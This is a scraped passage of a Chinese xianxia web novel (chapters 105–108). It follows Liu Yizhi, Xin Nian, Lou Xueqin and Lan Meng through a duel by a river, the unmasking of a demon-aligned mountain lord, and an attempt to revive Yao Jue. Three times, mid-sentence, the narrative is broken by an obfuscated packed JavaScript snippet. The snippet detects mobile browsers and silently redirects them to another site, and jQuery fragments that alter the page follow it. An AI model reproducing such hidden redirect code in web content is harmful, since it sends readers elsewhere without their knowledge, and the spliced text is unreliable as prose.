柳逸直双腿发力,一步便窜出去三里地远,然而那女子比他想象中还要厉害,呼吸之间便追上了他,手心打出几道灵力将他截停,双手环胸拦在他身前,啧啧称奇道:“你这小子听不懂好赖话,腿脚倒是挺快的。你走这个方向,莫不是要去山到源?你是丹灵卫?” 柳逸直抿着唇没有说话,目光在她身上打量,寻找她的破绽。 没有听到回答,女子也不恼,自顾自道:“看你年纪也不大,戒心倒是挺重。观你灵力波动和身法,你应该是风灵根吧?风灵根,二十多岁,又身怀混沌石,你莫不是易骞的儿子?” 柳逸直精神一振,眼睛紧紧盯着女子的脸,想要透过黑纱看清她的样貌,然而夜色浓重,他只看得清大致轮廓,完全分辨不出来她是美是丑,长何模样。 “阁下认识家父?” “算不上认识,只是听过他的名号而已。”女子信手折了旁边的小树伸出来的一枝树杈,一片一片揪着上面的叶子,慢悠悠地朝柳逸直走了过去,散漫得像是在郊游,“岚孟如何了?我听说她登问心道去了,复活尧玦的材料备齐了?” 如此隐秘之事竟由一个萍水相逢之人口中所出,柳逸直着实吓了一跳,他慌乱不已,下意识四处查看是否有其他人在,却听那女子道:“放心,方圆十里之内再没有第三个人。” 柳逸直这才收起铜剑,看向女子的目光带着犹疑,他问:“敢问阁下,可是姓辛?” 女子丢掉了手中树杈,掀开幕篱一角,露出一张如花美人面来,她“哟”了一声,绽开一个灿烂的笑容,道:“莫不是岚孟那丫头和你提起过我?” 105. 相较量(加更) “你们看到了吗?她人在哪呢?” “你眼瞎啊!眉毛底下那俩蛋是摆设吗,半山腰那么大一个人你没瞅见?” “你!” “要吵架上一边去!现在啥情况了?怎么一晚上过去她才爬了那么点距离啊?是不是快不行了?” “你以为问心道好走吗?一晚上七十阶已经算快的了好吧!” “还剩多少?” “再爬两百来阶她就能登顶了。” “那岂不是要有新掌炬了!” “万一人家失败了呢?那是尧玦的徒弟,又不是尧玦本人,是胜是败还不一定呢,说不定待会她出局了,娄雪沁,你说是吧?” 二三十个人站在落霞江边,再往前走一里地便进入了崤山的领域,若不是有结界阻拦,他们说不定还能走得再近一点,好仔细观察那个问心道上的狼狈身影。 “听说她之前和你走得很近啊?明明可以一步登天,却要假扮人族混进丹灵卫里,真不知道她咋想的。” “喂,和你说话呢,娄雪沁!” “哗——”奔腾不息的江水忽然掀起大浪朝众人打来,反应快的还能及时闪避或者支起灵气罩阻挡,反应慢的则被淋成了落汤鸡,包括那个喋喋不休之人。 一身干爽的娄雪沁走到那人面前,神色鄙夷,“你这嘴可真够碎的,我还道是哪里飞来的苍蝇呢,原来是你这头猪啊。” 这人便是朱孱,曾经也是诸葛宁创立的离地草论道会的成员,和岚孟打过几次照面,后来被诸葛宁逐出了论道会,连带着也看其他会员不顺眼,这两日一直在这里凑热闹,指桑骂槐地说些坏话。 朱孱啐了一口,冷笑道:“神气什么呢,要我看,那姓闫的,”他做出一个夸张的表情,“哦不,大名鼎鼎尧玦的徒弟岚孟,就是个纸糊的老虎!还自取其辱去登什么崤山,不过是仗着尧玦狐假虎威罢了,也不看看自己几斤几两,她还真以为她是个人物了?真是让人笑掉大牙了!” 娄雪沁冷哼一声,掷地有声道:“至少比你这个光会耍嘴皮子的腌臜货强!” “你说谁是腌臜货!”朱孱怒不可遏,掌心聚起灵气就朝娄雪沁打去,却被她轻松地挥手击落。 只见她五指收拢握紧,一只灵气缠绕的笔出现在她手中,她拿笔尖对着朱孱,叫嚣道:“来啊!想打架是不是,老娘奉陪到底!” 朱孱身边有人认出她手里的是欺梦笔,而且也听说过她突破知行境以后小有所成的事情,据说有人得罪了她,中了她的术法后做了半个月的噩梦,求爷爷告奶奶似的求她收了神通,一想起那人形销骨立的惨状他就不寒而栗,便在朱孱耳边低声劝道:“算了吧,你和她计较什么?说不过别人就动手的蛮女罢了,别和她一般见识。” 朱孱哪里听得进去劝?一把推开那人,唤出法器荆棘就抽向娄雪沁,怒吼道:“死八婆!吃爷爷一鞭!” 娄雪沁丝毫不惧,抬笔往空中划了一道弧线,旁边的落霞江立即涌出一条硕大的水龙,张开大嘴将那荆棘长鞭吞了进去。 巨大的力道让朱孱不得不双手并用,才没让荆棘脱手,他怒骂道:“你不要脸!” “这都是跟你学的!”娄雪沁又往空中划了几笔,江水源源不断涌上来充实着水龙的身躯,朱孱被水龙拖着滑行了好几丈,最终不敌,荆棘长鞭被其一口吞入了腹中,然后水龙便以迅雷不及掩耳之势退回江中,翻涌着朝下游游去。 娄雪沁大笑起来:“想要你的法器,就自己追去吧!” “你!”朱孱指着她的鼻子,咬牙切齿说不出话来,但又不能真舍了他花大价钱买来的法器,放下一句狠话,便撒开腿朝水龙追了过去。 方才他们较量时其他人都退到了不远处,见娄雪沁的目光追来,一个个都抬头望天或者低头看地,一副“我没看见我不知道不要打我”的样子。 娄雪沁哼了一声,收了欺梦笔,大步流星朝下游走去。 众人见她走远,均不约而同松了一口气,窃窃私语起来。 “娄雪沁一向动口不动手,按照她的口才,她必能骂得朱孱狗血淋头,这次居然一言不合就动起手来,不像是她的风格啊。” “这有什么难理解的?听说闫扶音就是岚孟的事情,她也是和我们一样才知道的。你想想看,她把人家当推心置腹的朋友,人家却连自己的真实身份都瞒着她,还要从别人口中听到,你若是遇到这种情况,你生不生气?” “兄台高见,小弟佩服啊……” 娄雪沁生气其实另有原因。 她早就知道闫扶音不是一般人,毕竟她的真正实力和明面上的修为并不匹配,其阅历和手段也远远胜过她。再说了,还不允许人身上有点小秘密了?真要算起来,她们也不是很熟,人家瞒着她也情有可原。 真正让她不满的是,前几天闫扶音丢给她的木牌,竟然解开了她身上的记忆封禁术,她也恢复了那晚在屏基山的记忆,知道了闫扶音就是那个暗算她们的凶徒。 这算什么事?她早就知道自己是谁,还假模假样地和她交朋友,看着她丑态百出,其实心里早就在笑话她是个蠢蛋了吧? 她娄雪沁就是天下第一大蠢蛋! “啊啊啊气死我了!” 仿佛有巨兽在江底翻腾,落霞江水忽然爆炸了一般激起滔天巨浪,水柱冲天而起,无数水花朝四面八方飞溅开来,将树叶拍打得噼啪作响,可怜那些还未离开的看客又被淋了一身的水,只能目瞪口呆地望着罪魁祸首一边引爆江水一边骂骂咧咧地走远了。 - 柳逸直才走到落霞坞,便听到了远处传来的巨大水声,即使隔着很远的距离,他也能看见高达十数丈的冲天水柱,沿着落霞江往下蔓延,甚至愈演愈烈,最高的水柱能有三十丈高,像是一腔怒火难以发泄,只能将矛头对准了江水,可见闹出这么大阵仗的人是个脾气暴躁的水灵根修士。 等到那暴躁的修士来到近前,柳逸直才认出来那是娄雪沁。 娄雪沁自然也看见了他,脚步飞快地跑至他面前,脸色因情绪激动和剧烈运动而变得红润,她气喘吁吁道:“柳,柳师兄,屏基山的记忆,你早就恢复了是不是?” 柳逸直犹豫了一下,尚未想好是隐瞒还是坦白,娄雪沁却已经从他这一下停顿里解读出了真相——也是,那时只有她和翟子续收到了刻有解咒的木牌,这说明柳师兄身上的记忆封禁术早就解开了。 心中越发委屈,泪水决堤,娄雪沁掩面哭泣,一边“呜呜呜”一把跑走了。 “唉——”柳逸直拦了一下没拦住,只能看着娄雪沁跑远了。他蓦地叹了一口气,真不理解岚孟为何要在这个关头解封他们二人的记忆,非要选在这个时候,至少也等事情了结了啊。 他回到家里,将芥子袋里的东西都收拾了一遍,杂七杂八的东西都装到一起,将玉白骨扇、铜剑、阵旗、符箓之类的放在趁手的地方,俨然是一副要上战场的样子。 他取出藏在袖中的高阶定点传送符,抚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377336|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平边缘的褶皱,将其好好收进了怀里。这是辛念给的,能直接从山到源传送至青丘故地。 将时间拨回昨日夜里—— “你是辛念?”柳逸直大吃一惊。 辛念倚到旁边的树上,挑眉道:“哪里不像?要不我改一改?” 柳逸直连忙摆手否认,“我只是惊讶您为何会找上我而已。” “找你自然是有事想让你帮忙。”辛念道,“你的记忆已经恢复了吧?” 柳逸直迟疑地点了点头。她竟然连尧玦在他身上设下记忆封禁术的事情都知道,看来辛念和尧玦是道侣的消息所言非虚。 “那你应该知道,尧玦并不想岚孟‘复活’他。” 柳逸直疑问道:“当真有复活一说?” 辛念轻嗤一声,“也就是岚孟那个犟种深信不疑罢了,她犟得像头牛,不撞南墙心是不会死的,所以尧玦才没把实情告诉她。” “所以尧玦所说的,能灭杀圣主的法子是可行的吗?” 在他解封的记忆里,尧玦说,圣主是魔气化身,是不死不伤之物,若要将其彻底消灭,恐怕得让他进到一个容器里,在容器内杀死圣主,而那个容器就是岚孟为复活他而准备的身体。 当初的青丘血祭,也是圣主为了夺舍宣措的身体而走的一步棋,若是尧玦等人没来阻止,圣主将挤走宣措的魂魄,自己鸠占鹊巢,宣措几千年的修为都会为他所用,届时九州将万劫不复。 因此尧玦就制定了这么一个计划,借岚孟之手制作容器,引出潜藏在地底魔气之中的圣主,因为用“燧明之书”里记载的方法制作的灵魂容器是无主之物,对所有灵魂都具有适配性,圣主夺舍不会费太大的力气,而且容器乃是由暾云炬这样的神物制成,得到了容器也就相当于得到了暾云炬,这世上再也不会有任何事物能奈何得了他,所以圣主一定会抢夺容器,并且为了保证万无一失,他或许会以本体现身,届时就是击杀他的最佳时机。 山到源里还有朝圣道的内鬼,所以为了保证不走漏风声,尧玦在柳逸直身上下了记忆封禁术,并且设置了两个连锁条件,等柳逸直引气入体,踏入修行一途时,写有事情始末的传讯符会自动送到辛念手里;等柳逸直步入闻道境,他身上的记忆封禁术就会解开,届时他和岚孟已经有了羁绊,想要抽身离去也是不可能的事情了。 “这可真是……”柳逸直一时间不知道该说什么好。 尧玦此人,当真是机关算尽,他不仅算计自己,还算计他的道侣,他的弟子,甚至自己这个,尚不知长大后是好是坏的陌生人。他也心狠手辣,狠起来连自己的安危都可以置之不顾,为了九州大业献祭自己的生命也不为过。 但他也有勇有谋,敢为天下先,试问谁人能赌上自己的命,寄希望于一个不可控的未来,谋求一个不确定的结果? “很可恨吧?”辛念笑了起来,仿佛补上了他未说完的话,即便与本人的意思完全相反,却是那么的顺理成章。 “明明是他一意孤行,却要我们这么多人为他的一时兴起而奔波劳碌。凭什么呢?这天下又不是只剩他尧玦,犯得着牺牲他一个人的命来拯救天下苍生吗?” “博爱吗?我只觉得残忍。” 柳逸直答不上来,一向口齿伶俐的他第一次觉得自己嘴笨。 明月西垂,暮春的夜晚凉风瑟瑟,树叶沙沙作响,好像在说悄悄话。 他只是在想,那个满眼只有一人的姑娘,在听到真相的时候该会有多伤心。 106. 血月灾 收拾好行囊以后,他便去了巽崖一趟,找秦谬拿回了混沌石,然后又来到了南园白渐行住处。 此前楚国一事,白渐行也受了不轻的伤,让他尚未病愈就帮自己忙,柳逸直也有些过意不去,便又赠了他一本易氏的阵法书,里面记载了一些失传的光系阵法,白渐行受宠若惊,给柳逸直额外透露了一些小道消息。 “楚国的国师叫崖昱,其实这不是那个凡人的名字,而是圣主的名字。” 柳逸直狐疑道:“你如何得知?” 白渐行挠了挠头,“个中缘由我现在不方便透露,日后必会有真相大白的一天,师兄若是好奇,可以去找一找关于九万年前‘血月灾’一事的记载。” 柳逸直本打算立即动身前往青丘,可白渐行的话让他疑窦丛生,去崤山看了一眼,见岚孟离登顶还有一段距离,于是转道去了藏典阁。 费了一番功夫才从犄角旮旯里找到了九万年前的历年大事记载,却只有寥寥数语:奎、斗二宿争月神使之位,相斗甚烈,月华尽赤。后斗阴使危刺奎,奎遂坠于弱水。 大概意思就是奎宿和斗宿争夺月神神使的位置,两人斗得腥风血雨,连月亮也变成了血色,后来斗宿挑拨下属危宿去暗杀奎宿,奎宿坠入了弱水之中。 九万年前诸神尚未飞升上界,诸神座下属官林立,这二十八星宿官便属于月神麾下。传闻他们分则各自为王,合则天下无敌,是月神的得力干将。 世界上最不缺的便是纷争,史书中并未记载奎、斗二宿争夺神使之位的始末,其余宿官什么立场?月神又为何没有阻止?奎宿坠入弱水之后是死是活也无法考据。 弱水乃是世间至纯至净之水,位于传说中的仙山昆仑的北侧,据说“鸿毛不浮,仙佛难渡”,按理来说应该淹不死人,但既言“坠于弱水”,而不是“浮于弱水”,大概奎宿的结局约莫也就是个死字。 既然白渐行说此事和圣主有关,那么圣主又在其中扮演了哪个角色?是被上官怂恿去暗杀他人的危宿?为了神使之位暗算竞争对手的斗宿?还是那个不知生死的受害者奎宿? 不管圣主是三位中的哪一位,既然和月神有关系,必然不是什么小人物,更何况那是群星璀璨的九万年前,就算只是个无名小卒,那也不可和今人同日而语。 柳逸直心情沉重地将史书放回了原位。现在也不是想这些乱七八糟的事的时候,他迅速收拾好心情,跑出了藏典阁。 然而没走几步,一阵浩大汹涌的灵气忽然如滚滚大潮般涌来,飓风吹得树叶哗哗作响,他抬起手用袖子遮住了脸,眯起眼睛抬头一看,便见远处的崤山之上一道刺眼的光束冲天而上,苍穹之上云雾扭成了一个漩涡,七彩祥云铺满了整个天空,云层之中似有金龙翻腾,灵气从四面八方涌来,无形无色的灵气凝出了肉眼可见的实质,拧成一股股灵气绳索汇入那光束之中。 这么快?明明才过了不到两个时辰? 柳逸直飞奔至崤山之下,正好看见原本从山脚延伸至山顶的通天阶梯一寸寸粉碎,化作点点金光消失不见,山下有一大堆看见天降异象而跑来看热闹的人,惊叹之声不绝于耳。 他立即捏碎了那张传送符,整个人骤然消失不见。 乾霄阁,除了玉成汝,其余七位山主都到齐了。彭隽看着崤山上的光柱,霞光映照在她阴沉的脸上,她哼了一声,“没想到还真让她成功了。” “那可不,人家可是尧玦的弟子!”梁齐安高兴道,捋着胡子一副与有荣焉的样子。 哎呀呀,这样的人才竟然归他梁齐安管唉!怎么以前没发现这个举世瞩目的人才?没关系,现在也不算晚,以后有的是机会栽培! 临琮神色淡淡的,“通过了问心道的考验,也只不过是有资格站在暾云炬面前而已,现在高兴还为时尚早。” “这个问题就不用多想了,岚孟是前掌炬尧玦的弟子,本就比别人多一个优势,暾云炬选择她也很正常,掌炬已经断代二十年了,只靠洛山可成不了大事,如今选出新的掌炬,也算是众望所归。”羊玄帮起了腔。 梁齐安赞同道:“就是,临老弟你这张乌鸦嘴就不要开口说话了。” 临琮白了他二人一眼,他和檀阜一向关系亲近,于是扭头问道:“檀兄如何看?” 檀阜勾唇笑了笑,“我也觉得岚孟此人可成大器,必能得到暾云炬的认可。” 话音刚落,只听闻一声巨响,冲天光柱骤然消失,灵气从崤山之巅迸发开来,天地为之震荡,剧烈的罡风吹得树木倒伏,江水翻涌,几息之后才恢复了平静。 彭隽眼尖地望见矗立于崤山山巅的暾云炬不见了,而岚孟也不见身影,玉成汝慢悠悠地从山的那一边走了过来,在原本存放暾云炬的地方站着不动,好像在思考里面的东西为什么不见了一样。 她怔愣半晌才意识到事情的严重性,惊呼出声:“岚孟把暾云炬盗走了?” “我滴个亲娘嘞……”梁齐安目瞪口呆,揪着自己的胡子久久不能回神。 “坊间传闻,尧玦和曾经盗窃暾云炬的魔修辛念是道侣,想来岚孟和她的关系也不浅,不会就是那妖女授意的吧?”羊玄猜测道,“不过先生就在崤山上,为何他没有阻拦?” 临琮道:“现在争辩这些有什么意义,当务之急是找到暾云炬的下落吧?梁山主,快派人去找!” 梁齐安从袖中摸出山水令,从容笑道:“秦谬已经派人去了,必不会让那贼子逃脱。” 彭隽看向站在众人后方不置一词的左愁双和叶于明,两人脸上波澜不惊,好似早就知道事情会发展成这样一般,她厉声质问:“源主,当时是您同意岚孟去登问心道的,您不觉得该给一个解释吗?” 叶于明摆了摆手,笑道:“彭山主稍安勿躁,暾云炬的归处源主早已胸有成竹,也做好了安排,现在我们要做的是另一件同样重要的事情。” 彭隽皱眉道:“你什么意思?” 叶于明不紧不慢道:“各位可还记得当年尧玦被朝圣道的魔修围困于青丘一事?求援的消息直到第三天才送回宗门,什么时候我们山到源的求援令如此滞后了?固然有许渭等人阻拦的原因存在,但那时许渭只不过是个小小的从事,他能有那么大的本事拦截掌炬的传讯?” 临琮一下子就听明白了叶于明的意思,他双手环胸,不悦之情显而易见,“叶山主的意思是,拦截消息的另有人在,还位列山主,就在我们几人之中?” 叶于明勾唇一笑,“临山主莫不问问你的好兄弟?” 临琮看向自己身侧的檀阜,只见他一脸纳闷,显然也是丈二摸不着头脑,于是瞪着叶于明,怒道:“叶于明,你有什么证据?别以为檀兄弟不善言辞,你就可以血口喷人,我临琮可不是个好惹的!” “巧了,我还真有证据。”叶于明从袖中取出了一个黑色的鬼工球,举着球朝众人展示。 若是岚孟在的话,她就会发现这个鬼工球和当初她在崖昱的木工房里看见的一模一样,只是颜色不一样而已。 檀阜唇边噙着人畜无害的笑,“叶山主手里拿着的,不就是个民间哄小儿的玩具么?仅凭此物,就能证明在下便是伙同许渭暗害前掌炬的恶人了吗?” 羊玄凑近了那鬼工球,神色顿时一凝,正色道:“此物有魔气的气息。” “正是。”叶于明点头赞同,他看向檀阜,笑道:“檀山主还不知道吧?这是从你的房里搜出来,堂堂落霞坞山主,卧房之内却藏着沾有魔气的东西,这还不足以说明一切吗?” 彭隽反应过来,怒骂道:“什么?原来这就是你把我们拘在乾霄阁的原因吗?” 梁齐安朝她摆摆手,“去去,别打岔。” “实在是荒唐!”檀阜怒而甩袖,“我根本不认得此物,叶山主莫不是将从哪个魔修身上搜出来的东西拿来嫁祸于我吧?” 他看向临琮,委屈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15382197|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“临兄,你是知道的,我一向深居简出,整日不是研究新菜谱给弟子们改善伙食,就是勤勤恳恳修炼,哪有机会和魔修接触?再说了,我和尧玦又没有什么深仇大恨,我至于勾结魔修暗杀他吗?” 临琮一听他那言辞恳切的解释,本来都要信了,可一听到他说自己和尧玦没有什么深仇大恨,眉头却逐渐皱了起来,“不对了,你和他怎么没有仇!” 檀阜表情一僵,“什么?” “你妹子檀柔不就是因为入魔了,被尧玦一剑斩杀吗?你敢说你心里一点也不记恨尧玦?”临琮理所当然道。 檀阜:“……你记性还挺好。” 临琮憨笑:“嗐,说出来也不怕你笑话,当年我还喜欢过柔儿来着,只可惜还未向她表明心意,她就死了,当真是人生一大憾事啊!” 他语峰一转,面色一沉,犹如山雨欲来,“所以当真是你害的尧玦?” 叶于明见状也不装了,一手丢了鬼工球,笑眯眯道:“怪我,还找什么证据,对付你这样的败类还讲什么道理,直接用拳头说话就是。” 话音刚落,他整个人便如离弦的剑般飞了出去,抡起拳头挥向檀阜的面门,临琮足尖点地朝后撤退,将场地留给二人。 几息时间两人便过了不下百招,最终还是叶于明技高一筹,掌风成刃擦着檀阜的脖颈而过,鲜血挥洒于地,立即将地上沙石腐蚀得冒出黑烟来,可见他的血液中魔气之浓重。 檀阜捂着脖子退出一大步,叶于明也没有追上前去,低头看了一眼滋滋冒烟的地面,冷哼一声:“可算是抓住你的狐狸尾巴了。” 檀阜神色阴晴不定,见身份败露,他也懒得伪装了,身上魔气迸发开来,眼瞳也变得猩红,染血的面庞阴森恐怖,犹如地底罗刹降临。 他狞笑道:“我伪装了这么多年,自问从未露出过什么破绽,你又是怎么知道的?总不会是那个莫名其妙的小儿玩具。” 叶于明耸耸肩:“可不是我发现的端倪。” 这时,一个抱着剑的女子从乾霄阁大殿内走了出来,正是楚乐。 “许渭一事过后,我就综合了岚孟知道的消息,要抓住您的狐狸尾巴,可真是费了一番功夫呢。”楚乐笑道。 她“锵”地一声抽出了朔风剑,剑尖对准檀阜,语气里是掩盖不住的恨意:“今日,必要你血债血偿!” 檀阜阴森森地笑:“那也得看你有没有这个本事!”他身上的魔气猛然涨至数丈高,他收拢嘴巴发出一声尖锐的长啸,四面八方立即有同样的啸声回应。 楚乐离那个被叶于明随手丢掉的鬼工球最近,只见球内相互分离的同心球飞速旋转起来,“咔咔”的声音越来越大,数个黑影从球中蹿了出来,不是别人,正是朝圣道的魔修,原来那鬼工球竟然能形成连接两地之间的通道,让魔修不经过山门而直接进入山到源之中!而檀阜早已将这样的鬼工球藏在了山到源各处! 她拎起朔风就朝那鬼工球砍去,然而鬼工球看似脆弱,实则坚硬无比,一招没能将其破坏,魔修们却越来越多,楚乐便再也没有了接近鬼工球的机会。 一直沉默着做看客的左愁双动了动手指,磅礴灵气从他身上迸发开来,不伤己方任何一人,而魔修们连连惨叫着被撕成了碎片,四周顿时血流成河,鬼工球也化作了齑粉,檀阜见状不妙,拔腿就跑,叶于明和梁齐安追了上去。 楚乐也提着剑想要去追,左愁双拦住了她,吩咐道:“你去帮门内其他人。” 楚乐恭敬地答应,然后和临琮等人一起离开了乾霄阁。 左愁双的神识散落至山到源内的每一处,丹灵卫和魔修已经陷入了混战,越来越多的魔修从鬼工球中钻了出来,早已埋伏在各个山门的丹灵卫们也鱼贯而入,两方死伤各半,但山到源毕竟是丹灵卫的主场,他们逐渐占了上风,鬼工球也所剩无几。 左愁双收回神识,身形原地消失,不惊动一草一木。 107. 青丘山(加更) 柳逸直来到青丘时,时间已近黄昏,正淅淅沥沥地下着小雨。 九州大地回春,青丘却是一派凄苦寥落。当年的山火烧了三天三夜,又因魔气滋生蔓延,这里早已毫无生机可言,即便是过去了将近二十年依旧寸草不生。放眼望去遍地焦土,草木不生,鸟兽不栖,英水早已枯竭,干涸的河床里零星点缀着赤鱬鱼的尸骨。 空气弥漫着草木烧焦后的焦糊气味,即便有春雨滋润,空气吸进口鼻中仍然令人忍不住喉咙发痒。柳逸直用袖子掩住口鼻咳了好几声,举目四望,看不见任何人的身影。 “岚孟?” 他高声呼喊,传入耳中的只有呜呜的风声和潇潇的雨声。 凭着感觉往前走了约莫二三里,忽闻背后一声枯枝残木被踩断的“咔哒”声响,他猛地回头,看见了不远处的土丘上蹲着一大一小两只火红的狐狸,巨大而蓬松的几条狐尾在空位悠然摆动,好似两团在蒙蒙细雨中熊熊燃烧的火焰。 “喂,傻小子,这边!” 其中小的那只狐狸口吐人言,音色十分耳熟,柳逸直一下子反应了过来,问道:“二位莫非是花繁、花蔺姐弟?” 花蔺冷哼一声,“不然还能是谁?你是辛念那女人叫来的吧?” 柳逸直点了点头,问道:“你知道她在哪?岚孟呢?” 花繁淡淡瞥了他一眼,便转身跃下了土丘,花蔺对他也没什么好脸色,说了一句“跟上”便追着花繁去了。 柳逸直连忙跟在他们身后,别看两只狐狸体型不大,跑起来可一点也不慢,好在柳逸直修为精进不少,想要跟上他们的脚步也不算吃力。 在焦山荒林里穿行了约莫一盏茶的时间,两狐的速度渐渐慢了下来,柳逸直往四周望去,只见四周开阔又平坦,焦黑的土地一眼也望不到头,旁边就是干涸的英水河床。 “人呢?”柳逸直狐疑地看着花蔺,脸上一副“你莫不是带错路了”的表情。 花蔺抿着唇不说话,尾巴烦躁地在地上扫来扫去,花繁已经独自走到了十余丈开外的地方,眼睛紧紧盯着不远处开阔的空地。 柳逸直顺着她的目光看去,盯了许久才发现端倪之处,那片空地上方的空气流动与其他略有不同,就好似火焰燃烧时形成的气流波动一般,然而那里无火无烟,很是怪异。 他没有轻举妄动,两狐一人耐心地等待着,时间逐渐流逝,没过多久,空地上方的虚空忽然裂开了一条巨大的缝隙,连接着苍天与大地,剧烈的罡风刮了出来,犹如猛兽出笼,横扫着沙石与焦土。 衣袍被风吹得猎猎作响,飞沙乱石迷得人睁不开眼睛,雨点噼里啪啦击打在身上,柳逸直不得不将眼睛眯起,恍惚中看见缝隙中飞出来一个什么白色的东西,重重摔在了地上,紧接着一头蓝色长发的岚孟跳了出来,紧接着狭长的裂缝瞬间合拢,罡风也慢慢平息。 柳逸直定睛看去,只见被她丢出来的赫然是一具骨头架子,根据骨头判断,是个高大的成年男性,观其颜色莹润洁白,并非寻常人骨的颜色,柳逸直脑海中立即划过三个字——海鰌骨。 原来是这个作用。 他抹了一把脸上的雨水,提步想要朝前靠近,然而抬起的腿还未落下,他便感受到了落在肩头沉重的威压,逼得他寸步难行。 识时务者为俊杰,他没再往前进,抬眸对上了那双毫无感情的眼睛,他听到她冷若冰霜的话语:“你来干什么?” 柳逸直唇边勾起一抹戏谑的笑,一身反骨在这一刻显露得淋漓尽致,“这又不是你家,我不能来?” 一旁的花蔺冷不丁插嘴道:“哼,这是我家,你们几个最好都滚远点。” 岚孟冷道:“你以为我愿意来?” 花蔺毫不客气呛了回去:“那你赶紧滚啊!还待在这作甚?净会给人找麻烦!” 话音未落,柳逸直忽然感受到侧后方传来一阵阴寒气息,他抽出袖中玉白骨扇“唰”的一下展开,朝后一扇,微雨和焦土同时被掀飞,一个黑色身影显露了出来,脸上戴着骷髅面具,是朝圣道的装扮,他举刀暴起,刚跃上半空,巨大狐尾便已经抵达他头顶,照着天灵盖重重劈下,那黑衣魔修顿时被劈成了两半,鲜血往两侧喷溅开来,像是一只展开翅膀的血色蝴蝶。 越来越多的魔修显露了身形,各个眼瞳猩红,身上冒着令人不安的黑气,一直沉默不语的花繁忽然发出了一声轻笑,“来得正好,二十年前老娘没赶上趟,今日总算能吃一口热乎的了。” 她的身形倏尔变得如小山一般大,九条狐尾张牙舞爪,撕裂空气,发出“咻咻”破空之声,袭向源源不断从地底冒出来的魔修。 花蔺身形敏捷,飞进了魔修中央,狐尾横扫他们的下盘,尖锐的牙齿咬断了他们的喉咙,惨叫声此起彼伏,很快地面便血流成河,同雨水一起渗入了这片埋葬了无数青丘九尾狐的土地。 辛念终于姗姗来迟,她身边还跟着一个岳孤明,前者双手各拿一柄黑色长剑,后者抡着一柄大砍刀,一个身法诡谲,灵活敏捷如鬼魅,一个手起刀落,刀刀割人性命。有了他们的助阵,战局顿时明朗起来,魔修节节败退,然而不知从何处响起一声刺耳的鸣声,更多的魔修如春笋般冒了出来,修为均不高,但是数量非常之多,战况变得更加混乱。 柳逸直将事先准备好的十颗混沌石拿了出来,按照内圈为普通五行、外圈为变异五行的顺序将其安置于岚孟周围,双手结印催动阵法,混沌石上立即射出数道灵力锁链相互交织又互不干扰,形成坚不可摧的结界,将岚孟罩在了里面。柳逸直取出铜剑对敌,但始终没有离开岚孟三丈范围。 “你放手去做便是,我会为你,杀出一条血路。” 岚孟望着那个守护在自己周围的青衣身影,心中忽然泛起了一丝异样的情绪。她很想问他,你还来干什么,明明她都说了那样的狠话…… 然而现在已没有给她唏嘘感叹的时间,她迅速收拾好心情,将散落在地上的海鰌骨做的骨头架子一一摆好,确保每一块骨头都各居其位,然后抖开了透明的魅妖皮,将其覆在了骨架之上,往其中源源不断输送灵力,脑海里默默回忆着尧玦的样子,随着她脸上血色一点点褪去,魅妖皮却慢慢充盈起来,她迅速取出盛着苍生泪和红尘酒的琉璃瓶,将液体泼洒于骨架之上。 小雨一刻也不停地下着,骨架上从无到有,渐渐生出了血肉。死亡与新生向来是一个轮回,复活,也不过是将从生到死的命运轮盘拨成向死而生而已。 当岚孟脸上血色全无,双腿发软跌落在地时,那副骨架也变成了尧玦的模样,有血有肉,只不过没有心跳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她的脸上毫无血色,唇角却沾着一抹红,长发湿哒哒地黏在衣服上,右手微微颤抖着,按在了自己的丹田处。 柳逸直心有所感,他惊呼出声:“不要——”双腿发力想要往前奔去,却被不知何时来到他身侧的辛念一把抓住了胳膊,将他制在原地,于是他眼睁睁看着岚孟五指成爪,用力往丹田处一掏,剖出一颗金色的妖丹来。 左手暾云炬,右手妖丹,分别同时按进了心脏和丹田的位置,一阵刺眼的光芒从那具躯体上迸发开来,伴随着汹涌蓬勃的灵气,在场所有人都被震飞了出去,混沌石同时碎裂开来,发出清脆的声响。 身比心快,在脑子意识到自己在做什么的时候,柳逸直已经飞扑到岚孟身后给她做了肉垫,两人在地面上滑了几丈远才停了下来。 柳逸直迅速从芥子袋里取出止血丹塞进岚孟嘴里,然后倒一把丹药在手里捏碎成粉末洒在了她腹间的伤口上,疼得岚孟“嘶”了一声,手指嵌进了男人的胳膊里。 残阳如血。 辛念从地上爬了起来,粗鲁地用手背抹掉唇角的血,岳孤明、花蔺、花照也站了起来,四人将空地上的身躯团团围住,神色警惕而凝重。 一道华光闪过,又有人降落于此,定睛看去,只见是左愁双,没一会儿,完全不清楚情况的夏澜熹也闯了进来。 她看着躺在地上那个容貌清俊的男子,眉头拧成了“川”字。 “尧玦?” 话音刚落,那人猛地睁开了眼睛。 108. 鸿蒙神行 尧玦缓缓站了起来,他的动作相当滞涩,就好像双手双脚不是自己的了一般,四肢一点也不协调,行动间骨骼发出“咔咔”声响,费了好一会功夫才站直了身体。 夏澜熹如临大敌,右手紧紧按着腰间的列缺鞭。 